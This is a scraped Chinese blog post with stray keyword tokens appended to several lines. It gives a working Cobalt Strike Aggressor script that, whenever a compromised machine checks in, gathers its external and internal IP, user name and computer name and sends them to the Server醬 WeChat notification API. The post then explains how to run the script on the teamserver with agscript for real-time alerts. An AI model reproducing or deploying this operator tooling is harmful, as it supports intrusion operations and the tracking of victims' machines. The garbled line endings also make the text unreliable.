這兩天看cs看的頭大java
原文地址:http://www.nmd5.com/?p=567shell
咱們先申請一個Server醬的帳號,使用Github帳號便可登陸,地址:服務器
登陸以後,以下:測試
點擊發送消息,申請SCKEY。url
# 循環獲取全部beacon on beacon_initial { sub http_get { local('$output'); $url = [new java.net.URL: $1]; $stream = [$url openStream]; $handle = [SleepUtils getIOHandle: $stream, $null]; @content = readAll($handle); foreach $line (@content) { $output .= $line . "\r\n"; } println($output); } #獲取ip、計算機名、登陸帳號 $externalIP = replace(beacon_info($1, "external"), " ", "_"); $internalIP = replace(beacon_info($1, "internal"), " ", "_"); $userName = replace(beacon_info($1, "user"), " ", "_"); $computerName = replace(beacon_info($1, "computer"), " ", "_"); #get一下Server醬的連接 $url = 'https://sc.ftqq.com/此處填寫你Server醬的SCKEY碼.send?text=CobaltStrike%e4%b8%8a%e7%ba%bf%e6%8f%90%e9%86%92&desp=%e4%bb%96%e6%9d%a5%e4%ba%86%e3%80%81%e4%bb%96%e6%9d%a5%e4%ba%86%ef%bc%8c%e4%bb%96%e8%84%9a%e8%b8%8f%e7%a5%a5%e4%ba%91%e8%b5%b0%e6%9d%a5%e4%ba%86%e3%80%82%0D%0A%0D%0A%e5%a4%96%e7%bd%91ip:'.$externalIP.'%0D%0A%0D%0A%e5%86%85%e7%bd%91ip:'.$internalIP.'%0D%0A%0D%0A%e7%94%a8%e6%88%b7%e5%90%8d:'.$userName.'%0D%0A%0D%0A%e8%ae%a1%e7%ae%97%e6%9c%ba%e5%90%8d:'.$computerName; http_get($url); }
將你的SCKEY在上述代碼代表的位置進行替換,保存爲cna腳本。spa
若是選擇在本地客戶端加載腳本,那麼只有當咱們打開CobaltStrike時,機器上線咱們纔會收到消息提醒。code
因此,咱們須要在服務器上使用agscript加載腳本,這樣才能作到機器上線,微信及時提醒的效果。server
命令語法:blog
./agscript [host] [port] [user] [pass] </path/to/file.cna>
完成這一步就ok了。
先開啓teamserver,再啓動腳本:
測試成功。
舒服。